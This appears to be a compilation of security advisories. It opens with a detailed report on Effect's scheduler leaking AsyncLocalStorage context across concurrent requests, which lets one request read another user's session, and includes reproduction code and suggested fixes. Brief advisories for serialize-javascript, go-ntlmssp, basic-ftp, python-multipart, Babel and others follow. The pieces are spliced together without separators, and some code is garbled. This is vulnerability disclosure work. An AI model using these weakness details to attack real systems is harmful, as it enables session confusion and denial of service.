Effect's MixedScheduler batches fiber continuations and drains them inside a single microtask or timer callback. The AsyncLocalStorage context active during that callback belongs to whichever request first triggered the scheduler's drain cycle — not the request that owns the fiber being resumed.
Detailed mechanism
1. Scheduler batching (effect/src/Scheduler.ts, MixedScheduler)
typescript // MixedScheduler.starve() — called once when first task is scheduled private starve(depth = 0) { if (depth >= this.maxNextTickBeforeTimer) { setTimeout(() => this.starveInternal(0), 0) // timer queue } else { Promise.resolve(void 0).then(() => this.starveInternal(depth + 1)) // microtask queue } }
// MixedScheduler.starveInternal() — drains ALL accumulated tasks in one call private starveInternal(depth: number) { const tasks = this.tasks.buckets this.tasks.buckets = [] for (const [, toRun] of tasks) { for (let i = 0; i < toRun.length; i++) { toRuni // ← Every fiber continuation runs in the SAME ALS context } } // ... }
scheduleTask only calls starve() when running is false. Subsequent tasks accumulate in this.tasks until starveInternal drains them all. The Promise.then() (or setTimeout) callback inherits the ALS context from whichever call site created it — i.e., whichever request's fiber first set running = true.
Result: Under concurrent load, fiber continuations from Request A and Request B execute inside the same starveInternal call, sharing a single ALS context. If Request A triggered starve(), then Request B's fiber reads Request A's ALS context.
2. toWebHandlerRuntime does not propagate ALS (@effect/platform/src/HttpApp.ts:211-240)
typescript export const toWebHandlerRuntime = <R>(runtime: Runtime.Runtime<R>) => { const httpRuntime: Types.Mutable<Runtime.Runtime<R>> = Runtime.make(runtime) const run = Runtime.runFork(httpRuntime) return <E>(self: Default<E, R | Scope.Scope>, middleware?) => { return (request: Request, context?): Promise<Response> => new Promise((resolve) => { // Per-request Effect context is correctly set via contextMap: const contextMap = new Map<string, any>(runtime.context.unsafeMap) const httpServerRequest = ServerRequest.fromWeb(request) contextMap.set(ServerRequest.HttpServerRequest.key, httpServerRequest) httpRuntime.context = Context.unsafeMake(contextMap)
// But the fiber is forked without any ALS propagation: const fiber = run(httpApp as any) // ← ALS context is NOT captured or restored }) } }
Effect's own Context (containing HttpServerRequest) is correctly set per-request. But the Node.js ALS context — which frameworks like Next.js, Clerk, and OpenTelemetry rely on — is not captured at fork time or restored when the fiber's continuations execute.
3. The dangerous pattern this enables
typescript // RPC handler — runs inside an Effect fiber const handler = Effect.gen(function() { // This calls auth() from @clerk/nextjs/server, which reads from ALS const { userId } = yield Effect.tryPromise({ try: async () => auth(), // ← may read WRONG user's session catch: () => new UnauthorizedError({ message: "Auth failed" }) }) return yield repository.getUser(userId) })
The async () => auth() thunk executes when the fiber continuation is scheduled by MixedScheduler. At that point, the ALS context belongs to an arbitrary concurrent request.
Reproduction scenario
Timeline (two concurrent requests to the same toWebHandler endpoint):
T0: Request A arrives → POST handler → webHandler(requestA) → Promise executor runs synchronously → httpRuntime.context set to A's context → fiber A forked, runs first ops synchronously → fiber A yields (e.g., at Effect.tryPromise boundary) → scheduler.scheduleTask(fiberAcontinuation) → running=false → starve() called → Promise.resolve().then(drain) ↑ ALS context captured = Request A's context
T1: Request B arrives → POST handler → webHandler(requestB) → Promise executor runs synchronously → httpRuntime.context set to B's context → fiber B forked, runs first ops synchronously → fiber B yields → scheduler.scheduleTask(fiberBcontinuation) → running=true → task queued, no new starve()
T2: Microtask fires → starveInternal() runs → Drains fiberAcontinuation → auth() reads ALS → gets A's context ✓ → Drains fiberBcontinuation → auth() reads ALS → gets A's context ✗ ← WRONG USER
Minimal reproduction
typescript import { AsyncLocalStorage } from "node:asynchooks" import { Effect, Layer } from "effect" import { RpcServer, RpcSerialization, Rpc, RpcGroup } from "@effect/rpc" import { HttpServer } from "@effect/platform" import as S from "effect/Schema"
// Simulate a framework's ALS (like Next.js / Clerk) const requestStore = new AsyncLocalStorage<{ userId: string }>()
class GetUser extends Rpc.make("GetUser", { success: S.Struct({ userId: S.String, alsUserId: S.String }), failure: S.Never, payload: {} }) {}
const MyRpc = RpcGroup.make("MyRpc").add(GetUser)
const MyRpcLive = MyRpc.toLayer( RpcGroup.toHandlers(MyRpc, { GetUser: () => Effect.gen(function() { // Simulate calling an ALS-dependent API inside an Effect fiber const alsResult = yield Effect.tryPromise({ try: async () => { const store = requestStore.getStore() return store?.userId ?? "NONE" }, catch: () => { throw new Error("impossible") } }) return { userId: "from-effect-context", alsUserId: alsResult } }) }) )
const RpcLayer = MyRpcLive.pipe( Layer.provideMerge(RpcSerialization.layerJson), Layer.provideMerge(HttpServer.layerContext) )
const { handler } = RpcServer.toWebHandler(MyRpc, { layer: RpcLayer })
// Simulate two concurrent requests with different ALS contexts async function main() { const results = await Promise.all([ requestStore.run({ userId: "user-A" }, () => handler(makeRpcRequest("GetUser"))), requestStore.run({ userId: "user-B" }, () => handler(makeRpcRequest("GetUser"))), ])
// Parse responses and check if alsUserId matches the expected user // Under the bug: both responses may show "user-A" (or one shows the other's) for (const res of results) { console.log(await res.json()) } }
Impact
| Symptom | Severity | |---------|----------| | auth() returns wrong user's session | Critical — authentication bypass | | cookies() / headers() from Next.js read wrong request | High — data leakage | | OpenTelemetry trace context crosses requests | Medium — incorrect traces | | Works locally, fails in production | Hard to diagnose — only manifests under concurrent load |
Workaround
Capture ALS-dependent values before entering the Effect runtime and pass them via Effect's own context system:
typescript // In the route handler — OUTSIDE the Effect fiber (ALS is correct here) export const POST = async (request: Request) => { const { userId } = await auth() // ← Safe: still in Next.js ALS context
// Inject into request headers or use the context parameter const headers = new Headers(request.headers) headers.set("x-clerk-auth-user-id", userId ?? "") const enrichedRequest = new Request(request.url, { method: request.method, headers, body: request.body, duplex: "half" as any, })
return webHandler(enrichedRequest) }
// In Effect handlers — read from HttpServerRequest headers instead of calling auth() const getAuthenticatedUserId = Effect.gen(function() { const req = yield HttpServerRequest.HttpServerRequest const userId = req.headers["x-clerk-auth-user-id"] if (!userId) return yield Effect.fail(new UnauthorizedError({ message: "Auth required" })) return userId })
Suggested fix (for Effect maintainers)
Option A: Propagate ALS context through the scheduler
Capture the AsyncLocalStorage snapshot when a fiber continuation is scheduled, and restore it when the continuation executes:
typescript // In MixedScheduler or the fiber runtime import { AsyncLocalStorage } from "node:asynchooks"
scheduleTask(task: Task, priority: number) { // Capture current ALS context const snapshot = AsyncLocalStorage.snapshot() this.tasks.scheduleTask(() => snapshot(task), priority) // ... }
AsyncLocalStorage.snapshot() (Node.js 20.5+) returns a function that, when called, restores the ALS context from the point of capture. This ensures each fiber continuation runs with its originating request's ALS context.
Trade-off: Adds one closure allocation per scheduled task. Could be opt-in via a FiberRef or scheduler option.
Option B: Capture ALS at runFork and restore per fiber step
When Runtime.runFork is called, capture the ALS snapshot and associate it with the fiber. Before each fiber step (in the fiber runtime's evaluateEffect loop), restore the snapshot.
Trade-off: More invasive but provides correct ALS propagation for the fiber's entire lifetime, including across flatMap chains and Effect.tryPromise thunks.
Option C: Document the limitation and provide a context injection API
If ALS propagation is intentionally not supported, document this prominently and provide a first-class API for toWebHandler to accept per-request context. The existing context?: Context.Context<never> parameter on the handler function partially addresses this, but it requires callers to know about the issue and manually extract values before entering Effect.
Related
- Node.js AsyncLocalStorage docs: https://nodejs.org/api/asynccontext.html - AsyncLocalStorage.snapshot(): https://nodejs.org/api/asynccontext.html#static-method-asynclocalstoragesnapshot - Next.js uses ALS for cookies(), headers(), auth() in App Router - Similar issue pattern in other fiber-based runtimes (e.g., ZIO has FiberRef propagation for this)
POC replica of my setup
// Create web handler from Effect RPC // sharedMemoMap ensures all RPC routes share the same connection pool const { handler: webHandler, dispose } = RpcServer.toWebHandler(DemoRpc, { layer: RpcLayer, memoMap: sharedMemoMap, });
/ POST /api/rpc/demo / export const POST = async (request: Request) => { return webHandler(request); };
registerDispose(dispose);
Used util functions
/ Creates a dispose registry that collects dispose callbacks and runs them when runAll is invoked. Handles both sync and async dispose functions, catching errors to prevent one failing dispose from breaking others. @internal Exported for testing — use registerDispose in application code. / export const makeDisposeRegistry = () => { const disposeFns: Array<() => void | Promise<void>> = []
const runAll = () => { for (const fn of disposeFns) { try { const result = fn() if (result && typeof result.then === "function") { result.then(undefined, (err: unknown) => console.error("Dispose error:", err)) } } catch (err) { console.error("Dispose error:", err) } } }
const register = (dispose: () => void | Promise<void>) => { disposeFns.push(dispose) }
return { register, runAll } }
export const registerDispose: (dispose: () => void | Promise<void>) => void = globalValue( Symbol.for("@global/RegisterDispose"), () => { const registry = makeDisposeRegistry()
if (typeof process !== "undefined") { process.once("beforeExit", registry.runAll) }
return registry.register } )
The actual effect that was run within the RPC context that the bug was found
export const getAuthenticatedUserId: Effect.Effect<string, UnauthorizedError> = Effect.gen(function() { const authResult = yield Effect.tryPromise({ try: async () => auth(), catch: () => new UnauthorizedError({ message: "Failed to get auth session" }) })
if (!authResult.userId) { return yield Effect.fail( new UnauthorizedError({ message: "Authentication required" }) ) }
return authResult.userId })
Impact
What kind of vulnerability is it?
It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.
Who is impacted?
Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.
Patches
Has the problem been patched?
Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.
What versions should users upgrade to?
Users should upgrade to v7.0.5 or later.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:
Validating and sanitizing all input before passing it to the serialize() function. Ensuring the environment is protected against Prototype Pollution. Upgrading to v7.0.5 as soon as possible.
Acknowledgements
Serialize JavaScript thanks Tomer Aberbach (@TomerAberbach) for discovering and privately disclosing this issue.
go-ntlmssp is a Go package that provides NTLM/Negotiate authentication over HTTP. Prior to version 0.1.1, a malicious NTLM challenge message can causes an slice out of bounds panic, which can crash any Go process using ntlmssp.Negotiator as an HTTP transport. Version 0.1.1 patches the issue.
basic-ftp is an FTP client for Node.js. Versions prior to 5.3.0 are vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to Client.list(), causing the client process to consume memory until it becomes unstable or crashes. Version 5.3.0 fixes the issue.
Apache Thrift: Node.js skip() recursion
Pallets Click contains a command injection via Unsanitized Filename "click.edit()"
Summary
python-multipart has a denial of service vulnerability in multipart part header parsing. When parsing multipart/form-data, MultipartParser previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion.
Impact
Applications that parse attacker-controlled multipart/form-data with affected versions of python-multipart can experience CPU exhaustion. ASGI applications using Starlette, FastAPI, or other frameworks that invoke python-multipart may have worker or event-loop delays while processing malicious upload requests.
Details
The affected parser states are HEADERFIELDSTART, HEADERFIELD, HEADERVALUESTART, HEADERVALUE, and HEADERVALUEALMOSTDONE. The issue can be triggered by:
- A multipart part with an oversized individual header value. - A multipart part with many repeated header lines or an unterminated header block.
Both variants are addressed by enforcing default parser limits for maximum header count and maximum header size.
Mitigation
Upgrade to python-multipart 0.0.27 or later.
If upgrading is not immediately possible, reduce exposure by enforcing request body size limits at the server, proxy, or framework layer. This is only a mitigation; affected versions of python-multipart still parse multipart part headers without the default header count and header size limits.
Impact
Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code.
Known affected plugins are: - @babel/plugin-transform-modules-systemjs - @babel/preset-env when using the modules: "systemjs" option, as it delegates to @babel/plugin-transform-modules-systemjs
No other plugins under the @babel namespace are impacted.
Users that only compile trusted code are not impacted.
Patches
The vulnerability has been fixed in @babel/plugin-transform-modules-systemjs@7.29.4.
Babel also released @babel/preset-env@7.29.5, updating its @babel/plugin-transform-modules-systemjs dependency, to simplify forcing the update if you are using @babel/preset-env directly.
Workarounds
- Pin @babel/parser to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade @babel/plugin-transform-modules-systemjs to v7.29.4. - Do not use the modules: "systemjs" option, migrate the codebase to native ES Modules or any other module formats.
Credits Babel thanks Daniel Cervera for reporting the vulnerability.